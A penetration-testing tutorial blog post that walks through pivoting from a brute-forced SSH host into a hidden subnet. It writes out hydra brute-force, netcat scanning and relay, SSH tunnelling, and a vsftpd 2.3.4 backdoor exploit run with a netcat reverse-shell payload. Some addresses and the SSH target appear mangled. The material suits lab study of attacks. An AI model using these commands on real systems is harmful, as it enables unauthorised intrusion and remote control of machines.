Hello, cybersecurity enthusiasts and white hackers!
This article will consider scenarios for attacking protected segments of a corporate network using pivoting techniques. I will focus on a practical example.
Pivoting is a technique by which access is organized to those networks to which we do not have access under normal circumstances and obtained using compromised computers. Network isolation will be useless if we compromise a host that has access to all isolated subnets. Thus, an attacker can use the routing capabilities of a compromised machine to access internal corporate resources.
I will show with an example how an attacker can gain access to a “hidden” network without having direct access to it in the early stages of penetration testing using pivot techniques.
Let’s consider at this network topology:
enum and compromise machine A
Firstly, scan ports:
nmap -Pn -sV 10.9.1.11
As you can see SSH port
22 is open.
Let’s go to brute via
hydra -f -v -V -l root -P rockyou-15.txt -s 22 ssh://10.9.1.11 -t 2
ssh port forward
Check network interfaces on machine
As you can see we discover another network
Further, according to the scenario, the attacker wants to gain access to the subnet behind the
220.127.116.11/24 interface. To do this, he needs to use a compromised host as a pivot.
In a compromised host, we cannot use
nmap for port scanning, so use
nc -zv -w1 18.104.22.168 1-100
then banner grabbling via netcat:
nc 22.214.171.124 21
We found a vulnerable
126.96.36.199 we use ssh tunnel:
ssh -L 10.9.1.6:8021:188.8.131.52:21 -L 10.9.1.6:6200:184.108.40.206:6200 firstname.lastname@example.org
So what we do in here? We forwarded ports from attacker’s machine to victim machine
B via compromised machine
6200 port? Because, backdoor use this port.
exploit and access machine B
For exploitation machine
B with address
220.127.116.11, we’ll download python exploit for
vsftpd 2.3.4 backdoor:
Download and run:
python3 vsftpd_234_exploit.py 10.9.1.6 8021 whoami
It’s ok, but we cannot start the reverse shell because we do not have a reverse route.
create back port forwarding for our reverse shell.
nc -l -p 3333 -c "nc 10.9.1.6 3333"
and prepare listener on attacker machine:
nc -nlvp 3333
So what we do in here? Port forwarding is one of the basic steps during tunneling. This technique is used when the service within the detected network is not directly accessible. This is because our routing is unidirectional. We know how to access the internal service, but the service does not have an appropriate route to the attacker’s machine. Therefore, we will redirect the all incoming connections to
3333 port from machine
A to attacker’s machine (on
on attacker machine run exploit with netcat reverse shell:
python3 vsftpd_234_exploit.py 10.9.1.6 8021 "nc -e /bin/bash 18.104.22.168 3333"
check our listener:
So, the machine B has been pwned :)
The attacker discovered secret network by following the steps below:
- attacker got an access to the
machine A (10.9.1.11)which was on same network with attacker via brute
- then he realise that
machine Ahas 2 network interfaces
- scan ports on
- then attacker banner grabbling on port
machine Bwith IP address
machine Bhave vulnerable
vsftpd 2.3.4on port
- reverse port forward via
Afor back connect from
Bto attacker machine
- successfully exploitation of
vsftpd 2.3.4via python exploit - create reverse shell via
In the next part I will go to consider an example which use
metasploit for pivoting.
This is a practical case for educational purposes only.
Thanks for your time, happy hacking and good bye!
PS. All drawings and screenshots are mine